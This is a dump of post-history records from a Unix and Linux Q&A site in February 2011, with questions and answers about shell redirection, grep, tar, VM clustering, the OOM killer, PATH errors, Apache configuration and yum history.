  <row Id="16365" PostHistoryTypeId="5" PostId="3536" RevisionGUID="c30d89b9-c075-4cdd-85b0-79094f79ddfa" CreationDate="2011-02-08T01:57:44.207" UserId="4" Comment="added 108 characters in body" Text="See below for the script used in these tests.&#xD;&#xA;&#xD;&#xA;Grep can only operate on stdin, so therefore you must convert the stderr stream in a form that Grep can parse.&#xD;&#xA;&#xD;&#xA;Normally, stdout and stderr are both printed to your screen:&#xD;&#xA;&#xD;&#xA;    $ ./stdout-stderr.sh&#xD;&#xA;    ./stdout-stderr.sh: Printing to stdout&#xD;&#xA;    ./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;To hide stdout, but still print stdout do this:&#xD;&#xA;&#xD;&#xA;    $ ./stdout-stderr.sh &gt;/dev/null&#xD;&#xA;    ./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;But grep won't operate on stderr! You would expect the following command to suppress lines which contain 'err', but it does not.&#xD;&#xA;&#xD;&#xA;    $ ./stdout-stderr.sh &gt;/dev/null |grep --invert-match err&#xD;&#xA;    ./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;Here's the solution.&#xD;&#xA;&#xD;&#xA;The following Bash syntax will hide output to stdout, but will still show stderr. First we pipe stdout to /dev/null, then we convert stderr to stdout, because Unix pipes will only operate on stdout.  You can still grep the text.&#xD;&#xA;&#xD;&#xA;	$ ./stdout-stderr.sh 2&gt;&amp;1 &gt;/dev/null | grep err&#xD;&#xA;	./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;(Note that the above command is *different* then `./command &gt;/dev/null 2&gt;&amp;1`, which is a very common command).&#xD;&#xA;&#xD;&#xA;Here's the script used for testing. This prints one line to stdout and one line to stderr:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    # Print a message to stdout&#xD;&#xA;    echo &quot;$0: Printing to stdout&quot;&#xD;&#xA;    # Print a message to stderr&#xD;&#xA;    echo &quot;$0: Printing to stderr&quot; &gt;&amp;2&#xD;&#xA;    &#xD;&#xA;    exit 0" />
  <row Id="16366" PostHistoryTypeId="2" PostId="7081" RevisionGUID="20bf2ac8-c066-47c0-8e88-26386c70f4f7" CreationDate="2011-02-08T02:10:55.493" UserId="4583" Text="I am looking at clustering about five machines and I wanted to get some opinions about what is the best way to go about it. I'm wanting to run one VM over the five machines, firstly I want to ask,&#xD;&#xA;&#xD;&#xA;1: If I cluster the five machines will there hardware be combined? HDD's CPU's Ports etc..&#xD;&#xA;&#xD;&#xA;2: Would the hardware be accessible(Usable) within the VM&#xD;&#xA;&#xD;&#xA;Ultimately what I am asking is If I cluster five machines and run a VM over them will that make the VM a 'speed demon' combining CPU's and HDD's?&#xD;&#xA;&#xD;&#xA;Also what are some of the clustering operating systems out there at the moment? I have looked around but it seems that allot of it is deprecated or just old.&#xD;&#xA;&#xD;&#xA;If you need any more information just ask.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**NOTE: Im not wanting the cluster to process files parallel, Im wanting the speed of the processors, RAM and HDD's combined into one VM working over top of the cluster**" />
  <row Id="16367" PostHistoryTypeId="1" PostId="7081" RevisionGUID="20bf2ac8-c066-47c0-8e88-26386c70f4f7" CreationDate="2011-02-08T02:10:55.493" UserId="4583" Text="Clustering Servers to run one vm" />
  <row Id="16368" PostHistoryTypeId="3" PostId="7081" RevisionGUID="20bf2ac8-c066-47c0-8e88-26386c70f4f7" CreationDate="2011-02-08T02:10:55.493" UserId="4583" Text="évirtualömachineàéclusterà" />
  <row Id="16369" PostHistoryTypeId="25" PostId="7076" RevisionGUID="14e60e08-9e2e-4aeb-94ef-4fc86c11c999" CreationDate="2011-02-08T02:16:29.510" Comment="http://twitter.com/#!/StackUnix/status/34797685777113088" />
  <row Id="16370" PostHistoryTypeId="2" PostId="7082" RevisionGUID="547c26e4-fa8b-4e09-baba-981a04c5a3b0" CreationDate="2011-02-08T02:21:46.273" UserId="3169" Text="If you are on Linux, you could try setting up [binfmt misc][1].&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Binfmt_misc_for_Java" />
  <row Id="16371" PostHistoryTypeId="5" PostId="5732" RevisionGUID="4fbfc075-1304-4d3c-b3a9-ebb32cd1d90f" CreationDate="2011-02-08T03:51:11.393" UserId="3466" Comment="added 339 characters in body" Text="I'm trying to create a para-virt Fedora 14 xen vm on a host running CentOS 5.5. The VM appears to initially install correctly (the installer finds eth0 and can access the installation media). But when I restart the VM after the installation is completed the VM no longer sees any network, only lo. The VM does have one network connection according to virt-manager. &#xD;&#xA;&#xD;&#xA;The host is running CentOS 5.5 64bit - completely up-to-date&#xD;&#xA;The VM I am tring to install is F14 64bit (installing only the minimal group)&#xD;&#xA;&#xD;&#xA;Update: After taking a look at this again, I think the problem has to do with my network setup. In the server I have two NICs (eth0, eth1) that I've bonded together (bond0). I'm guessing that I need to make changes to xen so it recognizes the bonded NICs, though I don't know why the guest gets a network interface during installation." />
  <row Id="16372" PostHistoryTypeId="2" PostId="7083" RevisionGUID="bb9bdf73-0b70-471c-a9f7-63849ccc1341" CreationDate="2011-02-08T03:56:16.960" UserId="3169" Text="Here's the best option I've been able to find:&#xD;&#xA;&#xD;&#xA;    complete job 'p/1/`listJobs`/' \&#xD;&#xA;                 'p/2/`set cmd = ( $COMMAND_LINE ); listTasks $cmd[$#cmd]`/'&#xD;&#xA;&#xD;&#xA;It's relying on a variable called `$COMMAND_LINE`, which is available on my Ubuntu system, but I'm not sure if it's standard.&#xD;&#xA;&#xD;&#xA;&gt;   command  invoked from `...` version has additional environment variable set, the variable name is COMMAND_LINE and contains (as its name indicates) contents of the current (already typed&#xD;&#xA;               in) command line. One can examine and use contents of the COMMAND_LINE variable in her custom script to build more sophisticated completions (see completion for svn(1) included  in  this&#xD;&#xA;               package).&#xD;&#xA;&#xD;&#xA;Failing that, you would experiment with history expansions such as `!!` or `!#$`, but I'm not sure if that will work.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16373" PostHistoryTypeId="2" PostId="7084" RevisionGUID="6e116970-c4c0-47bc-b7d1-02b12b298898" CreationDate="2011-02-08T03:58:08.433" UserId="250" Text="Thanks to DarwinSurvivor's [answer][1] I have been able to better understand how package management works in Arch. Now I can apply the same strategy that I use with Gentoo (with small modifications). The &quot;equivalents&quot; of the commands in the question are, respectively:&#xD;&#xA;&#xD;&#xA;1. `pacman -S &lt;package&gt;`&#xD;&#xA;2. `pacman -D --asdeps &lt;package&gt;`&#xD;&#xA;3. `pacman -Rs $(pacman -Qqtd)`&#xD;&#xA;4. Not available / not needed&#xD;&#xA;&#xD;&#xA;The closest thing to `/var/lib/portage/world` in Gentoo is the result of the command `pacman -Qe`. Differences:&#xD;&#xA;&#xD;&#xA;1. Arch has [package groups][2], which is basically several packages &quot;grouped&quot; together under a name. When a group is installed everything in the group is considered explicitly installed.&#xD;&#xA;2. Arch doesn't have &quot;system packages&quot;, so reducing items from the result of `pacman -Qe` can actually result in important packages being removed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/6934/package-management-strategy-with-pacman/7010#7010&#xD;&#xA;  [2]: http://www.archlinux.org/groups/" />
  <row Id="16374" PostHistoryTypeId="2" PostId="7085" RevisionGUID="6b5ecc6c-de51-4ef9-99f8-07f09f0ac4af" CreationDate="2011-02-08T04:12:09.633" UserId="4564" Text="I have .tgz archive i'm trying to locate a directory within it to extra how do i search within a .tgz i tried the following below but no luck.&#xD;&#xA;&#xD;&#xA;    tar -tzf archive-9.tgz | grep '161519' | xargs tar -Oxzf archive-9.tgz | grep -B 3" />
  <row Id="16375" PostHistoryTypeId="1" PostId="7085" RevisionGUID="6b5ecc6c-de51-4ef9-99f8-07f09f0ac4af" CreationDate="2011-02-08T04:12:09.633" UserId="4564" Text="Locate a directory within an archive" />
  <row Id="16376" PostHistoryTypeId="3" PostId="7085" RevisionGUID="6b5ecc6c-de51-4ef9-99f8-07f09f0ac4af" CreationDate="2011-02-08T04:12:09.633" UserId="4564" Text="égrepàétarà" />
  <row Id="16377" PostHistoryTypeId="2" PostId="7086" RevisionGUID="f538c7a2-a9eb-4596-8774-8b42e6d2ca4a" CreationDate="2011-02-08T04:21:40.677" UserId="4587" Text="Grep has been acting strangely on one of my systems (Ubuntu Desktop - all my other systems are Ubuntu Server), and I can't figure out why. I created a control file named *text* that contains the following text:&#xD;&#xA;&#xD;&#xA;    grep&#xD;&#xA;    test!!&#xD;&#xA;&#xD;&#xA;the following commands work on all of my systems except the problem child:&#xD;&#xA;&#xD;&#xA;    $ grep grep *&#xD;&#xA;    text:grep&#xD;&#xA;    $ grep 'test!!' *&#xD;&#xA;    text:test!!&#xD;&#xA;&#xD;&#xA;On my problem child grep simply hangs. I have compared **.bashrc**, **.bash_aliases**, and even **/etc/bash_completion**, but I can't find the problem. Any ideas what could be causing the problem?" />
  <row Id="16378" PostHistoryTypeId="1" PostId="7086" RevisionGUID="f538c7a2-a9eb-4596-8774-8b42e6d2ca4a" CreationDate="2011-02-08T04:21:40.677" UserId="4587" Text="grep acting strangely" />
  <row Id="16379" PostHistoryTypeId="3" PostId="7086" RevisionGUID="f538c7a2-a9eb-4596-8774-8b42e6d2ca4a" CreationDate="2011-02-08T04:21:40.677" UserId="4587" Text="ébashàégrepà" />
  <row Id="16380" PostHistoryTypeId="2" PostId="7087" RevisionGUID="b86bee88-f619-4482-a2d2-8c8f935d7ea6" CreationDate="2011-02-08T04:41:56.090" UserId="3519" Text="If it hangs, it sounds to me like it is looking for input from stdin.&#xD;&#xA;&#xD;&#xA;You can prove that by typing Control-D.&#xD;&#xA;&#xD;&#xA;If this is correct then * does not find any files." />
  <row Id="16381" PostHistoryTypeId="5" PostId="7077" RevisionGUID="13919a0d-dccf-4df6-a00a-7e11324cc2bf" CreationDate="2011-02-08T04:42:09.600" UserId="4" Comment="added 54 characters in body" Text="Your .bashrc or .bash_profile files (or other startup files) contain a typo, and your PATH is invalid. To really be certain, we'd need to see your .bashrc or .bash_profile files.&#xD;&#xA;&#xD;&#xA;Commands like `ls` `mkdir` `rm` won't work because your shell cannot find them in your PATH, because your PATH is invalid. Commands like `echo` and &quot;`export` are built in to Bash, which is why they work. I can't explain the problem with `cd` (perhaps a mistake?)&#xD;&#xA;&#xD;&#xA;Search your .bashrc or .bash_profile files and look for the lines where PATH is defined. You might have a bad definition where second PATH doesn't start with a $, like this:&#xD;&#xA;&#xD;&#xA;	export PATH=PATH:/usr/local/bin:/usr/local/sbin&#xD;&#xA;	export PATH=PATH:/opt/local/bin:/opt/local/sbin&#xD;&#xA;&#xD;&#xA;It should say something like this:&#xD;&#xA;&#xD;&#xA;	export PATH=$PATH:/usr/local/bin:/usr/local/sbin&#xD;&#xA;	export PATH=$PATH:/opt/local/bin:/opt/local/sbin&#xD;&#xA;" />
  <row Id="16382" PostHistoryTypeId="2" PostId="7088" RevisionGUID="ca08c27b-6709-4508-ab42-187559214f9c" CreationDate="2011-02-08T04:51:25.987" UserId="3519" Text="Would it not be easier all in one go?&#xD;&#xA;&#xD;&#xA;    tar -xzvf &lt;tar-file-name&gt;.tgz --wildcards &quot;*/&lt;directory-name&gt;/*&quot;&#xD;&#xA;&#xD;&#xA;I think the reason it appears not to work with xargs is that your grep will find the directory first (pass it on and tar with extract it all) then grep will continue with the contents (pass it on and tar will fail to find those files since it has already extracted them). But this is only a guess." />
  <row Id="16383" PostHistoryTypeId="5" PostId="7087" RevisionGUID="fba9a6f9-2374-4eda-b041-188c10ab76cc" CreationDate="2011-02-08T04:52:39.727" UserId="3519" Comment="added 42 characters in body" Text="If it hangs, it sounds to me like it is looking for input from stdin.&#xD;&#xA;&#xD;&#xA;You can prove that by typing Control-D (once only) - it will return to the shell.&#xD;&#xA;&#xD;&#xA;If this is correct then * does not find any files." />
  <row Id="16384" PostHistoryTypeId="25" PostId="7086" RevisionGUID="f6ec0cdc-558f-498b-b562-6fcb88badb7e" CreationDate="2011-02-08T05:16:29.960" Comment="http://twitter.com/#!/StackUnix/status/34842985971728384" />
  <row Id="16389" PostHistoryTypeId="5" PostId="7081" RevisionGUID="bdc1b522-5ef9-41a1-b6af-3375bde791ed" CreationDate="2011-02-08T05:45:52.617" UserId="4" Comment="Fix a few typos" Text="I am looking at clustering about five machines and I wanted to get some opinions about what is the best way to go about it. I'm wanting to run one VM over the five machines, firstly I want to ask,&#xD;&#xA;&#xD;&#xA;1: If I cluster the five machines will their hardware be combined? HDD's CPU's Ports etc..&#xD;&#xA;&#xD;&#xA;2: Would the hardware be accessible (Usable) within the VM&#xD;&#xA;&#xD;&#xA;Ultimately what I am asking is If I cluster five machines and run a VM over them will that make the VM a 'speed demon' combining CPU's and HDD's?&#xD;&#xA;&#xD;&#xA;Also what are some of the clustering operating systems out there at the moment? I have looked around but it seems that a lot of it is deprecated or just old.&#xD;&#xA;&#xD;&#xA;If you need any more information just ask.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**NOTE: I'm not wanting the cluster to process files parallel, I want the speed of the processors, RAM and HDD's combined into one VM working over top of the cluster**" />
  <row Id="16390" PostHistoryTypeId="24" PostId="7081" RevisionGUID="a0173632-efd2-4fbe-960d-d56518ebf5dd" CreationDate="2011-02-08T05:45:52.617" Comment="Proposed by 4 approved by 73 edit id of 20" />
  <row Id="16394" PostHistoryTypeId="2" PostId="7090" RevisionGUID="808feae4-13a4-4f2f-9fbe-e13d586ffc0f" CreationDate="2011-02-08T06:28:04.063" UserId="4591" Text="I once had some package that you could run to instantly replace a running Windows instance with a running Linux instance. I'm not talking about virtualization or coLinux. I'm talking about the moral equivalent of hot-swapping out the Windows kernel and replacing it with a Linux kernel. It may have only worked on Win9x for all I can remember. But I haven't been able to think of the name or find it since I happened upon it many years ago." />
  <row Id="16395" PostHistoryTypeId="1" PostId="7090" RevisionGUID="808feae4-13a4-4f2f-9fbe-e13d586ffc0f" CreationDate="2011-02-08T06:28:04.063" UserId="4591" Text="What's the name of the technology that instantly boots to Linux from within Windows?" />
  <row Id="16396" PostHistoryTypeId="3" PostId="7090" RevisionGUID="808feae4-13a4-4f2f-9fbe-e13d586ffc0f" CreationDate="2011-02-08T06:28:04.063" UserId="4591" Text="élinuxàéwindowsà" />
  <row Id="16402" PostHistoryTypeId="25" PostId="7090" RevisionGUID="e53faf3b-9680-4c66-a0c2-6154a966383e" CreationDate="2011-02-08T08:16:30.087" Comment="http://twitter.com/#!/StackUnix/status/34888285213949952" />
  <row Id="16403" PostHistoryTypeId="2" PostId="7092" RevisionGUID="d6954794-3ef1-4354-bedd-a765f8ecbbd8" CreationDate="2011-02-08T08:48:50.837" UserId="863" Text="I think it's [GRUB4DOS](http://sourceforge.net/projects/grub4dos/) using Win9x's option to start DOS applications in compatibility mode" />
  <row Id="16404" PostHistoryTypeId="2" PostId="7093" RevisionGUID="dfe5a8a4-0fb6-49f4-8a97-b8ff4618c8c1" CreationDate="2011-02-08T08:48:55.377" UserId="3959" Text="You're probably remembering [loadlin][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Loadlin" />
  <row Id="16405" PostHistoryTypeId="2" PostId="7094" RevisionGUID="92b95c87-5457-444b-87ca-c57f9c8dc4cd" CreationDate="2011-02-08T09:12:36.443" UserId="4041" Text="I don't have any swap partition/file on my machine, and only 2GB of RAM.&#xD;&#xA;&#xD;&#xA;Sometimes it happens that the memory gets saturated by some process ([Xorg]+browser+compiler+...) and the system hangs indefinitely, and the only way to restart it (other than hard reset) is with SysRq.&#xD;&#xA;&#xD;&#xA;I understood that the [Out Of Memory Killer](http://linux-mm.org/OOM_Killer) won't help me because when the memory is completely full, kernel cannot allocate the OOM Killer itself.&#xD;&#xA;&#xD;&#xA;Is there any way to preload the OOM Killer, so that it can actually work when memory is completely full?  &#xD;&#xA;Or is it possible to tweak the kernel so that OOM Killer gets activated when my ram is full at `${TOTAL_RAM} - 10MB`?" />
  <row Id="16406" PostHistoryTypeId="1" PostId="7094" RevisionGUID="92b95c87-5457-444b-87ca-c57f9c8dc4cd" CreationDate="2011-02-08T09:12:36.443" UserId="4041" Text="Preloading the OOM Killer" />
  <row Id="16407" PostHistoryTypeId="3" PostId="7094" RevisionGUID="92b95c87-5457-444b-87ca-c57f9c8dc4cd" CreationDate="2011-02-08T09:12:36.443" UserId="4041" Text="élinuxàékernelàémemoryà" />
  <row Id="16408" PostHistoryTypeId="5" PostId="7094" RevisionGUID="7614f2b7-9b83-469b-ac95-537f7bee0a3c" CreationDate="2011-02-08T09:20:39.230" UserId="4041" Comment="added 64 characters in body" Text="I don't have any swap partition/file on my machine, and only 2GB of RAM.&#xD;&#xA;&#xD;&#xA;Sometimes it happens that the memory gets saturated by some process ([Xorg](http://unix.stackexchange.com/questions/6538/xorg-memory-leaks)+browser+compiler+...) and the system hangs indefinitely, and the only way to restart it (other than hard reset) is with SysRq.&#xD;&#xA;&#xD;&#xA;I understood that the [Out Of Memory Killer](http://linux-mm.org/OOM_Killer) won't help me because when the memory is completely full, kernel cannot allocate the OOM Killer itself.&#xD;&#xA;&#xD;&#xA;Is there any way to preload the OOM Killer, so that it can actually work when memory is completely full?  &#xD;&#xA;Or is it possible to tweak the kernel so that OOM Killer gets activated when my ram is full at `${TOTAL_RAM} - 10MB`?" />
  <row Id="16410" PostHistoryTypeId="2" PostId="7095" RevisionGUID="27ec8e6d-5c8f-4219-bfd3-a3016e17648d" CreationDate="2011-02-08T09:40:46.970" UserId="3154" Text="On the problem machine, in the directory you `grep 'something' *` are there any special files like sockets, named pipes (fifos), etc. there ?&#xD;&#xA;&#xD;&#xA;At least in the case of a named pipe, grep won't get an EOF from the named pipe until something actually writes an EOF to the named pipe." />
  <row Id="16411" PostHistoryTypeId="2" PostId="7096" RevisionGUID="4e742e8f-9eac-4bce-adc8-4113cd5c11cf" CreationDate="2011-02-08T09:47:08.307" UserId="3959" Text="I'm fairly sure that the kernel reserves some memory for itself, i.e. for launching the oom_killer.&#xD;&#xA;&#xD;&#xA;(What use would a oom_killer be if it fails to load due to lack of memory?)" />
  <row Id="16412" PostHistoryTypeId="12" PostId="4863" RevisionGUID="acd0af90-3396-4c97-b069-aac46a6e6418" CreationDate="2011-02-08T10:44:10.610" UserId="1733" Text="[{&quot;Id&quot;:1733,&quot;DisplayName&quot;:&quot;zanko&quot;}]" />
  <row Id="16413" PostHistoryTypeId="13" PostId="4863" RevisionGUID="a6a58413-8ecb-4178-9f7c-551eee088d54" CreationDate="2011-02-08T10:44:40.407" UserId="1733" Text="[{&quot;Id&quot;:1733,&quot;DisplayName&quot;:&quot;zanko&quot;}]" />
  <row Id="16417" PostHistoryTypeId="25" PostId="7094" RevisionGUID="ba7b2bc2-b2c4-4055-82da-350f3886b235" CreationDate="2011-02-08T11:16:29.540" Comment="http://twitter.com/#!/StackUnix/status/34933581566451712" />
  <row Id="16418" PostHistoryTypeId="5" PostId="4863" RevisionGUID="090d9816-3b4a-4512-b87c-b309b0979407" CreationDate="2011-02-08T11:35:20.970" UserId="1733" Comment="less ambiguous formulation" Text="You can also look in Gnome's &quot;Applications&quot; menu editor and remove duplicates from here." />
  <row Id="16419" PostHistoryTypeId="5" PostId="6196" RevisionGUID="6b97fd10-8b78-4f53-a28b-830c77150122" CreationDate="2011-02-08T12:34:17.080" UserId="4020" Comment="added 383 characters in body" Text=" - Resolved: Solved on my own. Someone else working on the same server remotely made some adjusted to the httpd .conf files while he was on Vacation without notifying me.I've added the change/fix below in case someone ever has similar problems-&#xD;&#xA;&#xD;&#xA;SOLUTION: In var/etc/conf.d all the .conf files had their DocumentRoot set to the Drupal6 folder, instead of the Wordpress folder. &#xD;&#xA;&#xD;&#xA;Running into a strange problem. I have a local server running Red Hat on a virtual machine (accessed through putty). I'm using this server to work on a website in Django, which I run with: &#xD;&#xA; &#xD;&#xA;    python manage.py runserver 0.0.0.0: 8080.   &#xD;&#xA;&#xD;&#xA;Now that works just fine, and I can access it through redHatIP:8080. However, I recently downloaded and installed Wordpress, Drupal, and &lt;a href=&quot;http://haveamint.com/&quot;&gt;Mint&lt;/a&gt;. Mint was added to the original site, and I access it through redHatIP/mint. Wordpress and Drupal are completely unrelated to the original site, but are both located in /var/www/html (long with the original site located through my 8080 poty).&#xD;&#xA;&#xD;&#xA;I accessed drupal and wordpress through redHatIP/drupal and redhatIP respectively, and it was working just fine until today. For some reason when I go to redHatIP now I receive the following error in my internet browser:  &#xD;&#xA;&#xD;&#xA;    The requested URL / was not found on this server.&#xD;&#xA;&#xD;&#xA;If I go to redHatIP/drupal I received The requested URL /drupal was not found on this server, to redHatIP/anything I receive The requested URL /anything was not found on this server et cetera. This applies to Mint as well, which I access through redHatIP/mint. However, I can still access the original site through redHatIP:8080, and that works just fine.  &#xD;&#xA;&#xD;&#xA;I completely removed Django and wordpress, then downloaded them again. I tried having just one of them located in /var/www/html/, but that did nothing. I tried moving them to /var/www/, but that also did nothing.   &#xD;&#xA;&#xD;&#xA;When I go to my error log messages in /pwd/log/httpd/error_log It has the following message:&#xD;&#xA;&#xD;&#xA;    _default_ VirtualHost overlap on port 80, the first has precedence.&#xD;&#xA;&#xD;&#xA;However this was reported the day *before* all this happened, when I had both Django and Wordpress together, and there hasn't been any message since. &#xD;&#xA;&#xD;&#xA;I have been unable to fix this on my own, nor have I found a solution on the net. Any ideas? Any other information that would help understand the problem? et cetera?" />
  <row Id="16420" PostHistoryTypeId="2" PostId="7098" RevisionGUID="0918d79d-0d83-4098-b0fd-ce30143138f9" CreationDate="2011-02-08T12:36:00.870" UserId="4020" Text="    * Resolved: Solved on my own. Someone else working on the same server remotely made some adjusted to the httpd .conf files while he was on Vacation without notifying me.I've added the change/fix below in case someone ever has similar problems-&#xD;&#xA;&#xD;&#xA;SOLUTION: In var/etc/conf.d all the .conf files had their DocumentRoot set to the Drupal6 folder, instead of the Wordpress folder. " />
  <row Id="16421" PostHistoryTypeId="5" PostId="7098" RevisionGUID="d87f39cb-9f42-4c66-9195-8543a2aba69f" CreationDate="2011-02-08T13:44:42.457" UserId="3069" Comment="deleted 3 characters in body" Text="* Resolved: Solved on my own. Someone else working on the same server remotely made some adjusted to the httpd .conf files while he was on Vacation without notifying me. I've added the change/fix below in case someone ever has similar problems.&#xD;&#xA;&#xD;&#xA;SOLUTION: In var/etc/conf.d all the .conf files had their DocumentRoot set to the Drupal6 folder, instead of the Wordpress folder. " />
  <row Id="16425" PostHistoryTypeId="2" PostId="7099" RevisionGUID="0f88b677-13cb-44f7-a7c0-18404d5b6a47" CreationDate="2011-02-08T14:03:54.030" UserId="2481" Text="If you're unable to get lib-png to work, and don't really want it anyway, you can specify it to try and install without png support (so no spectrograph) by doing:&#xD;&#xA;&#xD;&#xA;    ./configure --without-png&#xD;&#xA;&#xD;&#xA;That solved the problem for me. Leaving this here in case someone needs it!" />
  <row Id="16426" PostHistoryTypeId="25" PostId="7072" RevisionGUID="842f7088-9a04-4f35-85ce-2551900bf14d" CreationDate="2011-02-08T14:16:30.277" Comment="http://twitter.com/#!/StackUnix/status/34978882293604352" />
  <row Id="16427" PostHistoryTypeId="2" PostId="7100" RevisionGUID="cec4ef0f-0af9-4057-9be1-2b23f18bce8d" CreationDate="2011-02-08T14:24:00.037" UserId="3959" Text="There is no way to &quot;just&quot; combine the resources of the individual machines. The software you run on top of your cluster has to be written with parallel in mind. You can't expect a single computation intensive process to magically split up between multiple cores, or even machines. And even if the software is written for parallel execution, once you go from multiple cores to multiple machines you can easily run into a message passing bottleneck over the slow network link in between machines.&#xD;&#xA;&#xD;&#xA;I'm curious, what were the &quot;deprecated solutions&quot; that you found so far? Does anyone of those do what you're looking for?" />
  <row Id="16428" PostHistoryTypeId="2" PostId="7101" RevisionGUID="82bdf741-08a5-4edb-b824-2517a38748e8" CreationDate="2011-02-08T14:28:30.140" UserId="3976" Text="One way to avoid this would be to turn off the heuristic overcommit handling and set it to not overcommit:  set the sysctl vm.overcommit_memory=2, and then lower vm.overcommit_ratio.  Read up on this [in the kernel docs][1].&#xD;&#xA;&#xD;&#xA;You can also target specific PIDs for [preferential treatment by the OOM][2] by modifying /proc/$PID/oom_adj.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mjmwired.net/kernel/Documentation/vm/overcommit-accounting&#xD;&#xA;  [2]: http://www.mjmwired.net/kernel/Documentation/filesystems/proc.txt#1235" />
  <row Id="16429" PostHistoryTypeId="2" PostId="7102" RevisionGUID="bac8b06b-eb45-4d1c-ae1f-5c9f55f6b0f3" CreationDate="2011-02-08T14:30:29.407" UserId="3069" Text="The kernel does allocate a [minimal][1] amount of free space for itself. You can see this value with:&#xD;&#xA;&#xD;&#xA;    $ sysctl vm.min_free_kbytes&#xD;&#xA;    vm.min_free_kbytes = 2842&#xD;&#xA;&#xD;&#xA;    $ cat /proc/sys/vm/min_free_kbytes&#xD;&#xA;    vm.min_free_kbytes = 2842&#xD;&#xA;&#xD;&#xA;This value [depends][2] on the amount of RAM (512MB in the case above), you can try to increase it, but I don't think this will solve your problem (further will it increase the chance of getting OOM'd sooner).&#xD;&#xA;&#xD;&#xA;The OOM killer should have enough free memory to kill applications, else it would miss the purpose of having one (like chris already pointed out).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lxr.linux.no/#linux+v2.6.37/Documentation/sysctl/vm.txt#L348&#xD;&#xA;  [2]: http://lxr.linux.no/#linux+v2.6.37/mm/page_alloc.c#L4977" />
  <row Id="16430" PostHistoryTypeId="2" PostId="7103" RevisionGUID="e095940e-3105-40b4-b940-c06993deab77" CreationDate="2011-02-08T14:40:37.820" UserId="3976" Text="What you're talking about is called a [Single System Image][1] cluster, or sometimes a [distributed shared memory][2] system (in a more limiting context).  There are some projects listed on the linked Wikipedia pages you should look into.  I've used the SGI Altix cluster (the NUMAlink ones), and it can be quite powerful if you have a process that requires a huge memory footprint. &#xD;&#xA;&#xD;&#xA;With the increase in CPU speed and memory capacity of individual nodes, this seems to be less of a popular computational clustering technique any more.  Most people use message passing APIs to allow parallel computation to communicate over fast interconnect or simple ethernet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Single-system_image&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Distributed_shared_memory" />
  <row Id="16431" PostHistoryTypeId="5" PostId="7076" RevisionGUID="5a7d87ea-53ff-49e5-9fe4-04c7c8b0f46e" CreationDate="2011-02-08T14:42:58.147" UserId="3069" Comment="added 5 characters in body; edited tags" Text="When I open terminal I get an automatic error message `-bash: PATH command not found.`&#xD;&#xA;then I am stumped in getting multiple `-bash &quot;x&quot; command not found.` messages, even to simple commands such as `ls` `cd` `mkdir` `rm`.  &#xD;&#xA;Just about the ONLY commands I get a response to are `echo` and `export`. Could my Unix system files be corrupt, as has been suggested in some searches for help? My hunch is that there is some setting that directs me away from the proper spot to make UNIX commands, but I don't know how to fix that. " />
  <row Id="16432" PostHistoryTypeId="6" PostId="7076" RevisionGUID="5a7d87ea-53ff-49e5-9fe4-04c7c8b0f46e" CreationDate="2011-02-08T14:42:58.147" UserId="3069" Comment="added 5 characters in body; edited tags" Text="écommandölineàéosxà" />
  <row Id="16433" PostHistoryTypeId="6" PostId="7013" RevisionGUID="f6054e51-2740-49f5-87ae-f450459d179b" CreationDate="2011-02-08T14:46:55.740" UserId="3069" Comment="edited tags" Text="élinuxàésuàéconventionsà" />
  <row Id="16434" PostHistoryTypeId="2" PostId="7104" RevisionGUID="9629a04f-2c04-495c-8da9-194fe85250db" CreationDate="2011-02-08T15:11:11.033" UserId="1910" Text="If you are on supported version of Fedora, you can just do:&#xD;&#xA;&#xD;&#xA;  yum history list gnash&#xD;&#xA;&#xD;&#xA;...and then:&#xD;&#xA;&#xD;&#xA;  yum history undo &amp;lt;transaction id&gt;&#xD;&#xA;&#xD;&#xA;...if you get the very latest yum (Eg. from the yum-rawhide rebuild repo. on repos.fedorapeople.org) then you can also do:&#xD;&#xA;&#xD;&#xA;  yum remove gnash --setopt=clean_requirements_on_remove=true&#xD;&#xA;" />
  <row Id="16435" PostHistoryTypeId="5" PostId="7104" RevisionGUID="c57a7a1a-d9bb-489d-af45-ebd0f81f05f2" CreationDate="2011-02-08T15:13:53.097" UserId="3069" Comment="added 48 characters in body" Text="If you are on supported version of Fedora, you can just do:&#xD;&#xA;&#xD;&#xA;    yum history list gnash&#xD;&#xA;&#xD;&#xA;...and then:&#xD;&#xA;&#xD;&#xA;    yum history undo &lt;transaction id&gt;&#xD;&#xA;&#xD;&#xA;...if you get the very latest yum (Eg. from the yum-rawhide rebuild repo. on [repos.fedorapeople.org][1]) then you can also do:&#xD;&#xA;&#xD;&#xA;    yum remove gnash --setopt=clean_requirements_on_remove=true&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://repos.fedorapeople.org" />
  <row Id="16436" PostHistoryTypeId="2" PostId="7105" RevisionGUID="9a3b31cf-93da-43ac-adeb-01051829438a" CreationDate="2011-02-08T15:16:01.370" UserId="1910" Text="Probably the easiest thing to do here, to just fix this problem, is to install the &quot;yum-plugin-tmprepo&quot; plugin and do:&#xD;&#xA;&#xD;&#xA;  yum history undo &amp;lt;transaction id&gt; --tmprepo=/path/to/DVD/packages&#xD;&#xA;&#xD;&#xA;...where you can get the transaction ID from &quot;yum history list openoffice&quot;." />
